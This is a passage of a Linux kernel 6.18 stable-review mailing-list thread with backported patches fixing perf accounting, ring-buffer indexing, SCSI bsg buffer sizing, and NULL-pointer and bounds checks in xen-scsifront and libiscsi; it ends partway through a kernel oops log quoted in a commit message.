atomic_t nr_watches; /* The number of watches this user currently has */
--- a/kernel/events/core.c
+++ b/kernel/events/core.c
@@ -6779,7 +6779,7 @@ static void perf_mmap_close(struct vm_ar
perf_pmu_output_stop(event);
/* now it's safe to free the pages */
- atomic_long_sub(rb->aux_nr_pages - rb->aux_mmap_locked, &mmap_user->locked_vm);
+ atomic_long_sub(rb->aux_nr_pages - rb->aux_mmap_locked, &mmap_user->perf_mlock);
atomic64_sub(rb->aux_mmap_locked, &vma->vm_mm->pinned_vm);
/* this has to be the last one */
@@ -6961,11 +6961,11 @@ static bool perf_mmap_calc_limits(struct
/* Increase the limit linearly with more CPUs */
user_lock_limit *= num_online_cpus();
- user_locked = atomic_long_read(&user->locked_vm);
+ user_locked = atomic_long_read(&user->perf_mlock);
/*
* sysctl_perf_event_mlock may have changed, so that
- * user->locked_vm > user_lock_limit
+ * user->perf_mlock > user_lock_limit
*/
if (user_locked > user_lock_limit)
user_locked = user_lock_limit;
@@ -6973,7 +6973,7 @@ static bool perf_mmap_calc_limits(struct
if (user_locked > user_lock_limit) {
/*
- * charge locked_vm until it hits user_lock_limit;
+ * charge perf_mlock until it hits user_lock_limit;
* charge the rest from pinned_vm
*/
*extra = user_locked - user_lock_limit;
@@ -6991,7 +6991,7 @@ static void perf_mmap_account(struct vm_
{
struct user_struct *user = current_user();
- atomic_long_add(user_extra, &user->locked_vm);
+ atomic_long_add(user_extra, &user->perf_mlock);
atomic64_add(extra, &vma->vm_mm->pinned_vm);
}
@@ -7000,7 +7000,7 @@ static void perf_mmap_unaccount(struct v
struct user_struct *user = rb->mmap_user;
atomic_long_sub((perf_data_size(rb) >> PAGE_SHIFT) + 1 - rb->mmap_locked,
- &user->locked_vm);
+ &user->perf_mlock);
atomic64_sub(rb->mmap_locked, &vma->vm_mm->pinned_vm);
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 094/193] perf: Update cgroup time when rotating multiplexed events
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (92 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 093/193] perf: Track the perf mlock gift separately Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 095/193] ring-buffer: Do not show buffer_meta for CPUs without a buffer Greg Kroah-Hartman
` (109 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Antoine Huret,
Peter Zijlstra (Intel)
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Antoine Huret <antoine.huret@bull.com>
commit e4c7c401c6b9174c0c893084fdaa6a84bd2520d7 upstream.
Since commit bd2756811766 ("perf: Rewrite core context handling"),
perf_rotate_context() only updates the context time before scheduling
out the flexible events. It no longer updates the cgroup time, which
ctx_sched_out() used to do.
Cgroup events take their times from the per-cpu cgroup clock, so
between two cgroup switches the rotations see a frozen clock. The
events rotated out lose the running time they accumulated, and the next
update, usually a read, credits the whole interval to the events that
happen to be on the PMU at that moment.
As a result, the time_running of multiplexed cgroup events is wrong,
and so are their scaled counts, as long as no other cgroup runs on the
CPU, e.g. a busy job alone on its CPUs. Counting cycles over one second
of a busy loop in a cgroup gives from half to several times the max
frequency of the CPU.
Update the cgroup time before rotating the CPU context, as was done
before the rewrite.
Fixes: bd2756811766 ("perf: Rewrite core context handling")
Closes: https://lore.kernel.org/r/PR3PR07MB69223331EED5BEBE150375B7849C2@PR3PR07MB6922.eurprd07.prod.outlook.com/
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: Antoine Huret <antoine.huret@bull.com>
Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20261015-perf-cgroup-rotation-time-v1-1-93e177dfee5d@bull.com
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/events/core.c | 1 +
1 file changed, 1 insertion(+)
--- a/kernel/events/core.c
+++ b/kernel/events/core.c
@@ -4496,6 +4496,7 @@ static bool perf_rotate_context(struct p
if (cpu_event) {
update_context_time(&cpuctx->ctx);
+ update_cgrp_time_from_cpuctx(cpuctx, false);
__pmu_ctx_sched_out(cpu_epc, EVENT_FLEXIBLE);
rotate_ctx(&cpuctx->ctx, cpu_event);
__pmu_ctx_sched_in(cpu_epc, EVENT_FLEXIBLE);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 095/193] ring-buffer: Do not show buffer_meta for CPUs without a buffer
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (93 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 094/193] perf: Update cgroup time when rotating multiplexed events Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 096/193] ring-buffer: Fix the sub-buffer array base in rb_meta_subbuf_idx() Greg Kroah-Hartman
` (108 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Sashiko, David Carlier,
Steven Rostedt
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Carlier <devnexen@gmail.com>
commit 3f23cae09a4677a3f7c163a68388512cb231ff22 upstream.
The per_cpu/cpuN/buffer_meta files are created for every possible CPU,
but buffer->buffers[cpu] is only allocated once that CPU comes online.
Reading the file of a CPU that never came online dereferences a NULL
cpu_buffer in rbm_start().
Fail the open with -ENODEV when the CPU has no buffer, as the other
per CPU ring buffer interfaces do.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20260914133506.4865-3-devnexen@gmail.com
Fixes: 950032ffcee7 ("ring-buffer: Add output of ring buffer meta page")
Reported-by: Sashiko <sashiko-bot@kernel.org>
Closes: https://lore.kernel.org/all/20260913134906.6E8A01F000FF@smtp.kernel.org/
Signed-off-by: David Carlier <devnexen@gmail.com>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/ring_buffer.c | 3 +++
1 file changed, 3 insertions(+)
--- a/kernel/trace/ring_buffer.c
+++ b/kernel/trace/ring_buffer.c
@@ -2293,6 +2293,9 @@ int ring_buffer_meta_seq_init(struct fil
struct seq_file *m;
int ret;
+ if (!cpumask_test_cpu(cpu, buffer->cpumask))
+ return -ENODEV;
+
ret = seq_open(file, &rb_meta_seq_ops);
if (ret)
return ret;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 096/193] ring-buffer: Fix the sub-buffer array base in rb_meta_subbuf_idx()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (94 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 095/193] ring-buffer: Do not show buffer_meta for CPUs without a buffer Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 097/193] ring-buffer: Fix false warning in ring_buffer_map_get_reader() Greg Kroah-Hartman
` (107 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Donggeun Yoo, Vincent Donnefort,
Masami Hiramatsu (Google), Steven Rostedt
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Donggeun Yoo <donggeunyoo.kernel@gmail.com>
commit 25132363c723afc39aace8b098f547ab4a0ea759 upstream.
On a persistent ring buffer, rb_meta_subbuf_idx() can return an index one
sub-buffer too high. rb_setup_ids_meta_page() then fills subbuf_ids[]
shifted by one and leaves subbuf_ids[0] NULL, which __rb_map_vma()
dereferences when userspace maps trace_pipe_raw. rb_update_meta_reader()
writes two such indices into meta->buffers[], which rb_cpu_meta_valid()
would reject on the next boot, discarding the previous boot's trace.
A CPU's sub-buffer array starts after its meta header and the nr_subbufs
integers that follow, aligned up to a sub-buffer. rb_meta_subbuf_idx()
inverts that calculation but skips only the integers, not the header, so
its base is one sub-buffer low whenever the omitted header size crosses
the alignment boundary.
Invert the calculation with rb_subbufs_from_meta() rather than repeating
it. rb_range_buffer() maps an index back to an address through the same
helper, so the two directions can no longer disagree.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20260918071507.1019251-1-donggeunyoo.kernel@gmail.com
Fixes: b14d032973d4 ("ring-buffer: Add ring_buffer_meta data")
Signed-off-by: Donggeun Yoo <donggeunyoo.kernel@gmail.com>
Reviewed-by: Vincent Donnefort <vdonnefort@google.com>
Acked-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/ring_buffer.c | 4 +---
1 file changed, 1 insertion(+), 3 deletions(-)
--- a/kernel/trace/ring_buffer.c
+++ b/kernel/trace/ring_buffer.c
@@ -3376,10 +3376,8 @@ static void rb_inc_iter(struct ring_buff
/* Return the index into the sub-buffers for a given sub-buffer */
static int rb_meta_subbuf_idx(struct ring_buffer_cpu_meta *meta, void *subbuf)
{
- void *subbuf_array;
+ void *subbuf_array = rb_subbufs_from_meta(meta);
- subbuf_array = (void *)meta + sizeof(int) * meta->nr_subbufs;
- subbuf_array = (void *)ALIGN((unsigned long)subbuf_array, meta->subbuf_size);
return (subbuf - subbuf_array) / meta->subbuf_size;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 097/193] ring-buffer: Fix false warning in ring_buffer_map_get_reader()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (95 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 096/193] ring-buffer: Fix the sub-buffer array base in rb_meta_subbuf_idx() Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 098/193] scsi: bsg: Pass reply_len to bsg_setup_queue() to fit UFS ARPMB replies Greg Kroah-Hartman
` (106 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, syzbot+de3d7f9bcc9212f3fae1,
Krystian Kaniewski, Vincent Donnefort, Steven Rostedt
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Krystian Kaniewski <krystianmkaniewski@gmail.com>
commit 89bab1dba8a0167ef0d819e0f55b6bafa038e87f upstream.
The mmap reader can warn when it catches up with a writer that is still
committing events. rb_get_reader_page() returns NULL in this case, but
ring_buffer_map_get_reader() treats that result as an error.
The initial rb_per_cpu_empty() check filters out an empty buffer, but it
does not guarantee that the next reader page has committed data. Writers
do not take reader_lock and can advance commit_page before publishing the
committed length on the new page. rb_get_reader_page() can swap to that
page, catch up with the writer and return NULL.
Handle NULL through the existing no-data exit without warning. Remove the
caller's reader_page == commit_page check as well, since the reader-page
helper already handles that case. The existing metadata update and return
path remain in place.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20260924084946.20104-1-krystianmkaniewski@gmail.com
Fixes: 117c39200d9d ("ring-buffer: Introducing ring-buffer mapping functions")
Assisted-by: Gemini:gemini-3.8-flash syzbot
Reported-by: syzbot+de3d7f9bcc9212f3fae1@syzkaller.appspotmail.com
Closes: https://syzkaller.appspot.com/bug?extid=de3d7f9bcc9212f3fae1
Link: https://syzkaller.appspot.com/ai_job?id=488adc18-a10e-42d2-a205-25327c38837f
Signed-off-by: Krystian Kaniewski <krystianmkaniewski@gmail.com>
Reviewed-by: Vincent Donnefort <vdonnefort@google.com>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/ring_buffer.c | 6 +-----
1 file changed, 1 insertion(+), 5 deletions(-)
--- a/kernel/trace/ring_buffer.c
+++ b/kernel/trace/ring_buffer.c
@@ -7543,12 +7543,8 @@ consume:
goto out;
}
- /* Did the reader catch up with the writer? */
- if (cpu_buffer->reader_page == cpu_buffer->commit_page)
- goto out;
-
reader = rb_get_reader_page(cpu_buffer);
- if (WARN_ON(!reader))
+ if (!reader)
goto out;
/* Check if any events were dropped */
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 098/193] scsi: bsg: Pass reply_len to bsg_setup_queue() to fit UFS ARPMB replies
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (96 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 097/193] ring-buffer: Fix false warning in ring_buffer_map_get_reader() Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 099/193] scsi: xen/scsifront: Check for a NULL shadow entry on a backend response Greg Kroah-Hartman
` (105 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Stanley Jhu,
Martin K. Petersen (Oracle)
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Stanley Jhu <stanleyjhu@google.com>
commit ec6b083915e8146e147314a5f4f1285d07b57bfc upstream.
bsg-lib allocates a 96-byte (SCSI_SENSE_BUFFERSIZE) reply buffer per
job, but struct ufs_rpmb_reply is 104 bytes: a 40-byte struct
ufs_bsg_reply followed by a 64-byte EHS. When an Advanced RPMB command
returns an EHS, ufshcd_advanced_rpmb_req_handler() copies it right after
the 40-byte header and writes 8 bytes past the end of the buffer.
Let each BSG transport pass its reply buffer size to bsg_setup_queue()
and have ufs_bsg request sizeof(struct ufs_rpmb_reply), so the full
reply reaches user space. Other transports keep SCSI_SENSE_BUFFERSIZE.
Fixes: 6ff265fc5ef6 ("scsi: ufs: core: bsg: Add advanced RPMB support in ufs_bsg")
Cc: stable@vger.kernel.org
Signed-off-by: Stanley Jhu <stanleyjhu@google.com>
Link: https://patch.msgid.link/20261013132708.1669415-1-stanleyjhu@google.com
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
block/bsg-lib.c | 13 ++++++++++---
drivers/scsi/mpi3mr/mpi3mr_app.c | 2 +-
drivers/scsi/scsi_transport_fc.c | 6 ++++--
drivers/scsi/scsi_transport_iscsi.c | 2 +-
drivers/scsi/scsi_transport_sas.c | 6 ++++--
drivers/ufs/core/ufs_bsg.c | 2 +-
include/linux/bsg-lib.h | 3 ++-
7 files changed, 23 insertions(+), 11 deletions(-)
--- a/block/bsg-lib.c
+++ b/block/bsg-lib.c
@@ -23,11 +23,14 @@ struct bsg_set {
struct bsg_device *bd;
bsg_job_fn *job_fn;
bsg_timeout_fn *timeout_fn;
+ unsigned int reply_len;
};
static int bsg_transport_sg_io_fn(struct request_queue *q, struct sg_io_v4 *hdr,
bool open_for_write, unsigned int timeout)
{
+ struct bsg_set *bset =
+ container_of(q->tag_set, struct bsg_set, tag_set);
struct bsg_job *job;
struct request *rq;
struct bio *bio;
@@ -50,7 +53,7 @@ static int bsg_transport_sg_io_fn(struct
reply = job->reply;
memset(job, 0, sizeof(*job));
job->reply = reply;
- job->reply_len = SCSI_SENSE_BUFFERSIZE;
+ job->reply_len = bset->reply_len;
job->dd_data = job + 1;
job->request_len = hdr->request_len;
@@ -301,9 +304,10 @@ out:
static int bsg_init_rq(struct blk_mq_tag_set *set, struct request *req,
unsigned int hctx_idx, unsigned int numa_node)
{
+ struct bsg_set *bset = container_of(set, struct bsg_set, tag_set);
struct bsg_job *job = blk_mq_rq_to_pdu(req);
- job->reply = kzalloc(SCSI_SENSE_BUFFERSIZE, GFP_KERNEL);
+ job->reply = kzalloc(bset->reply_len, GFP_KERNEL);
if (!job->reply)
return -ENOMEM;
return 0;
@@ -358,10 +362,12 @@ static const struct blk_mq_ops bsg_mq_op
* @job_fn: bsg job handler
* @timeout: timeout handler function pointer
* @dd_job_size: size of LLD data needed for each job
+ * @reply_len: size of the reply buffer needed for each job
*/
struct request_queue *bsg_setup_queue(struct device *dev, const char *name,
struct queue_limits *lim, bsg_job_fn *job_fn,
- bsg_timeout_fn *timeout, int dd_job_size)
+ bsg_timeout_fn *timeout, int dd_job_size,
+ unsigned int reply_len)
{
struct bsg_set *bset;
struct blk_mq_tag_set *set;
@@ -374,6 +380,7 @@ struct request_queue *bsg_setup_queue(st
bset->job_fn = job_fn;
bset->timeout_fn = timeout;
+ bset->reply_len = reply_len;
set = &bset->tag_set;
set->ops = &bsg_mq_ops;
--- a/drivers/scsi/mpi3mr/mpi3mr_app.c
+++ b/drivers/scsi/mpi3mr/mpi3mr_app.c
@@ -3053,7 +3053,7 @@ void mpi3mr_bsg_init(struct mpi3mr_ioc *
}
q = bsg_setup_queue(bsg_dev, dev_name(bsg_dev), &lim,
- mpi3mr_bsg_request, NULL, 0);
+ mpi3mr_bsg_request, NULL, 0, SCSI_SENSE_BUFFERSIZE);
if (IS_ERR(q)) {
ioc_err(mrioc, "%s: bsg registration failed\n",
dev_name(bsg_dev));
--- a/drivers/scsi/scsi_transport_fc.c
+++ b/drivers/scsi/scsi_transport_fc.c
@@ -4302,7 +4302,8 @@ fc_bsg_hostadd(struct Scsi_Host *shost,
scsi_init_limits(shost, &lim);
lim.max_segments = min_not_zero(lim.max_segments, i->f->max_bsg_segments);
q = bsg_setup_queue(dev, bsg_name, &lim, fc_bsg_dispatch,
- fc_bsg_job_timeout, i->f->dd_bsg_size);
+ fc_bsg_job_timeout, i->f->dd_bsg_size,
+ SCSI_SENSE_BUFFERSIZE);
if (IS_ERR(q)) {
dev_err(dev,
"fc_host%d: bsg interface failed to initialize - setup queue\n",
@@ -4335,7 +4336,8 @@ fc_bsg_rportadd(struct Scsi_Host *shost,
scsi_init_limits(shost, &lim);
lim.max_segments = min_not_zero(lim.max_segments, i->f->max_bsg_segments);
q = bsg_setup_queue(dev, dev_name(dev), &lim, fc_bsg_dispatch_prep,
- fc_bsg_job_timeout, i->f->dd_bsg_size);
+ fc_bsg_job_timeout, i->f->dd_bsg_size,
+ SCSI_SENSE_BUFFERSIZE);
if (IS_ERR(q)) {
dev_err(dev, "failed to setup bsg queue\n");
return PTR_ERR(q);
--- a/drivers/scsi/scsi_transport_iscsi.c
+++ b/drivers/scsi/scsi_transport_iscsi.c
@@ -1545,7 +1545,7 @@ iscsi_bsg_host_add(struct Scsi_Host *sho
snprintf(bsg_name, sizeof(bsg_name), "iscsi_host%d", shost->host_no);
scsi_init_limits(shost, &lim);
q = bsg_setup_queue(dev, bsg_name, &lim, iscsi_bsg_host_dispatch, NULL,
- 0);
+ 0, SCSI_SENSE_BUFFERSIZE);
if (IS_ERR(q)) {
shost_printk(KERN_ERR, shost, "bsg interface failed to "
"initialize - no request queue\n");
--- a/drivers/scsi/scsi_transport_sas.c
+++ b/drivers/scsi/scsi_transport_sas.c
@@ -199,7 +199,8 @@ static int sas_bsg_initialize(struct Scs
if (rphy) {
q = bsg_setup_queue(&rphy->dev, dev_name(&rphy->dev), NULL,
- sas_smp_dispatch, NULL, 0);
+ sas_smp_dispatch, NULL, 0,
+ SCSI_SENSE_BUFFERSIZE);
if (IS_ERR(q))
return PTR_ERR(q);
rphy->q = q;
@@ -208,7 +209,8 @@ static int sas_bsg_initialize(struct Scs
snprintf(name, sizeof(name), "sas_host%d", shost->host_no);
q = bsg_setup_queue(&shost->shost_gendev, name, NULL,
- sas_smp_dispatch, NULL, 0);
+ sas_smp_dispatch, NULL, 0,
+ SCSI_SENSE_BUFFERSIZE);
if (IS_ERR(q))
return PTR_ERR(q);
to_sas_host_attrs(shost)->q = q;
--- a/drivers/ufs/core/ufs_bsg.c
+++ b/drivers/ufs/core/ufs_bsg.c
@@ -257,7 +257,7 @@ int ufs_bsg_probe(struct ufs_hba *hba)
goto out;
q = bsg_setup_queue(bsg_dev, dev_name(bsg_dev), NULL, ufs_bsg_request,
- NULL, 0);
+ NULL, 0, sizeof(struct ufs_rpmb_reply));
if (IS_ERR(q)) {
ret = PTR_ERR(q);
device_del(bsg_dev);
--- a/include/linux/bsg-lib.h
+++ b/include/linux/bsg-lib.h
@@ -66,7 +66,8 @@ void bsg_job_done(struct bsg_job *job, i
unsigned int reply_payload_rcv_len);
struct request_queue *bsg_setup_queue(struct device *dev, const char *name,
struct queue_limits *lim, bsg_job_fn *job_fn,
- bsg_timeout_fn *timeout, int dd_job_size);
+ bsg_timeout_fn *timeout, int dd_job_size,
+ unsigned int reply_len);
void bsg_remove_queue(struct request_queue *q);
void bsg_job_put(struct bsg_job *job);
int __must_check bsg_job_get(struct bsg_job *job);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 099/193] scsi: xen/scsifront: Check for a NULL shadow entry on a backend response
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (97 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 098/193] scsi: bsg: Pass reply_len to bsg_setup_queue() to fit UFS ARPMB replies Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 100/193] scsi: libiscsi: Reject a negative task index from parse_pdu_itt Greg Kroah-Hartman
` (104 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Yehyeong Lee, Juergen Gross,
Martin K. Petersen (Oracle)
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
commit 8c8222c255772713eb36cde695777a1fce224917 upstream.
scsifront_do_response() validates the rqid in a backend response against
VSCSIIF_MAX_REQS before using it to index info->shadow[], but then
dereferences the entry to test ->inflight without checking that the slot
is populated. Shadow slots are NULL before a command is submitted (the
host private area is zeroed at allocation) and are reset to NULL in
_scsifront_put_rqid() once a request completes, so an in-range rqid that
does not correspond to an outstanding request makes the frontend
dereference a NULL pointer.
A malicious or buggy backend can thus crash the guest by returning a
response whose rqid is in range but not in flight -- for example a
spurious response before any command has been issued, or a duplicate of
one already completed. The ring has only VSCSIIF_MAX_REQS (16) slots,
so before the first command every in-range rqid selects a NULL slot.
Reject a response whose shadow slot is not populated.
Fixes: 6d1c2f48f3fc ("xen/scsifront: harden driver against malicious backend")
Cc: stable@vger.kernel.org
Signed-off-by: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
Reviewed-by: Juergen Gross <jgross@suse.com>
Link: https://patch.msgid.link/20261005123555.253995-1-yhlee@isslab.korea.ac.kr
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/scsi/xen-scsifront.c | 1 +
1 file changed, 1 insertion(+)
--- a/drivers/scsi/xen-scsifront.c
+++ b/drivers/scsi/xen-scsifront.c
@@ -367,6 +367,7 @@ static void scsifront_do_response(struct
struct vscsifrnt_shadow *shadow;
if (ring_rsp->rqid >= VSCSIIF_MAX_REQS ||
+ !info->shadow[ring_rsp->rqid] ||
!info->shadow[ring_rsp->rqid]->inflight) {
scsifront_set_error(info, "illegal rqid returned by backend!");
return;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 100/193] scsi: libiscsi: Reject a negative task index from parse_pdu_itt
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (98 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 099/193] scsi: xen/scsifront: Check for a NULL shadow entry on a backend response Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 101/193] scsi: libiscsi: Validate the ITT reflected in a Reject PDU Greg Kroah-Hartman
` (103 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Mike Christie, Yehyeong Lee,
Martin K. Petersen (Oracle)
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
commit 8ee2a09a1dbb257c9e828ad2497f8e4832dfb142 upstream.
A transport that implements parse_pdu_itt hands libiscsi an index taken
from the PDU, and both lookups bound it from above only:
if (i >= session->cmds_max)
i and cmds_max are both int, so a negative index passes and
session->cmds[i] is read from before the array.
be2iscsi produces one. beiscsi_parse_pdu() assigns the raw tag,
*index = (int)itt;
and beiscsi_complete_pdu() forwards an unsolicited NOP-In from the
hardware async ring without replacing its ITT, so the value is the
target's. It also reports the session's own age rather than the one in
the tag, which leaves the age comparison in iscsi_verify_itt() with
nothing to reject.
Bound the index from below in both lookups.
Fixes: bfead3b2cb46 ("[SCSI] be2iscsi: Adding msix and mcc_rings V3")
Cc: stable@vger.kernel.org
Reviewed-by: Mike Christie <michael.christie@oracle.com>
Signed-off-by: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
Link: https://patch.msgid.link/20261007015842.634893-2-yhlee@isslab.korea.ac.kr
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/scsi/libiscsi.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
--- a/drivers/scsi/libiscsi.c
+++ b/drivers/scsi/libiscsi.c
@@ -1191,7 +1191,7 @@ struct iscsi_task *iscsi_itt_to_task(str
session->tt->parse_pdu_itt(conn, itt, &i, NULL);
else
i = get_itt(itt);
- if (i >= session->cmds_max)
+ if (i < 0 || i >= session->cmds_max)
return NULL;
return session->cmds[i];
@@ -1384,7 +1384,7 @@ int iscsi_verify_itt(struct iscsi_conn *
return ISCSI_ERR_BAD_ITT;
}
- if (i >= session->cmds_max) {
+ if (i < 0 || i >= session->cmds_max) {
iscsi_conn_printk(KERN_ERR, conn,
"received invalid itt index %u (max cmds "
"%u.\n", i, session->cmds_max);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 101/193] scsi: libiscsi: Validate the ITT reflected in a Reject PDU
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (99 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 100/193] scsi: libiscsi: Reject a negative task index from parse_pdu_itt Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 102/193] scsi: libiscsi: Validate the task named by a management response Greg Kroah-Hartman
` (102 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Mike Christie, Yehyeong Lee,
Martin K. Petersen (Oracle)
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
commit c5958c770b2a0ee492414e26b07da9164a0d1f5d upstream.
A Reject PDU carries a copy of the header it rejects, and
iscsi_handle_reject() takes the ITT out of that copy to find the task to
clean up:
memcpy(&rejected_pdu, data, sizeof(struct iscsi_hdr));
...
task = iscsi_itt_to_task(conn, rejected_pdu.itt);
That value is whatever the target put there. iscsi_itt_to_task() bounds
the index against cmds_max and checks nothing else, so any task in the
pool can be named, and iscsi_nop_out_rsp() then completes it.
An index that has never been used gives a NULL task->conn: the pool is
zeroed at session setup and conn is assigned only when a task is
allocated. If the task was used and returned, iscsi_complete_task() hits
its WARN_ON_ONCE(task->state == ISCSI_TASK_FREE) and the refcount
underflows. An in-flight SCSI command is completed as successful - a 1
MiB read returned 1048576 with none of its buffer written and no
warning.
Validate the reflected ITT the way iscsi_itt_to_ctask() validates a
command ITT, and require the task to be in flight and not a SCSI
command.
[ 6.248477] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI
[ 6.249357] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067]
[ 6.249951] CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy)
[ 6.250718] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 6.251616] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160
[ 6.252043] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00
[ 6.252813] RSP: 0018:ffff88806c907b80 EFLAGS: 00010206
[ 6.253042] RAX: dffffc0000000000 RBX: ffff88800607e000 RCX: ffffffff8d571a25
[ 6.253345] RDX: 000000000000000c RSI: ffff88806c907c38 RDI: 0000000000000060
[ 6.253642] RBP: 0000000000000000 R08: 0000000000000000 R09: fffffbfff235a504
[ 6.253947] R10: 0000000000000003 R11: 7463656e6e6f6320 R12: 0000000000000000
